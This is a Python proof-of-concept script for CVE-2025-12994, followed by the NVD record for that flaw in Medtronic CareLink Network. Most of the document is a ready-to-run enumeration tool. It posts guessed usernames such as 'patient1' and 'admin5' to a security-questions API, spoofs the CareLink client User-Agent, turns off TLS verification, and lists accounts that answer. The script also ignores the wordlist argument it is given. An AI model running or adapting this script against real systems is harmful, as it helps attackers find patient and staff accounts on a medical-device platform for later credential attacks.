CVE-2025-12994

import requests import json # CVE-2025-12994 PoC - User Enumeration in Medtronic CareLink Network # Target: Medtronic CareLink Network API endpoint # Vulnerability: Unauthenticated user enumeration via security questions API TARGET_URL = "https://[CareLink-Server]/api/v1/security-questions" def enumerate_users(wordlist_file): """ Enumerate valid users by testing common usernames/IDs against the API endpoint """ valid_users = [] # Common username patterns for medical device systems common_patterns = [ "patient", "user", "admin", "test", "medtronic", "carelink", "pump", "sensor" ] headers = { "Content-Type": "application/json", "User-Agent": "Medtronic-CareLink-Client/1.0" } # Test with common patterns first for pattern in common_patterns: for i in range(1, 1000): username = f"{pattern}{i}" payload = { "username": username, "action": "request_security_questions" } try: response = requests.post( TARGET_URL, json=payload, headers=headers, timeout=10, verify=False ) # Analyze response to determine if user exists if response.status_code == 200: data = response.json() # User exists if security questions are returned if "security_questions" in data or "questions" in data: valid_users.append({ "username": username, "response": "User exists - security questions returned" }) print(f"[+] Valid user found: {username}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue return valid_users if __name__ == "__main__": print("CVE-2025-12994 PoC - Medtronic CareLink User Enumeration") print("=" * 60) results = enumerate_users("usernames.txt") print(f"\nEnumeration complete. Found {len(results)} valid users.")

{"cve": {"id": "CVE-2025-12994", "sourceIdentifier": "[email protected]", "published": "2025-12-04T20:16:17.037", "lastModified": "2025-12-22T18:10:01.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Medtronic CareLink Network allows an unauthenticated remote attacker to initiate a request for security questions to an API endpoint that could be used to determine a valid user account. This issue affects CareLink Network: before December 4, 2025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:medtronic:carelink_network:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-04", "matchCriteriaId": "F732E0FA-C285-4923-873F-3080AC1032F8"}]}]}], "references": [{"url": "https://www.medtronic.com/en-us/e/product-security/security-bulletins/carelink-network-vulnerabilities.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}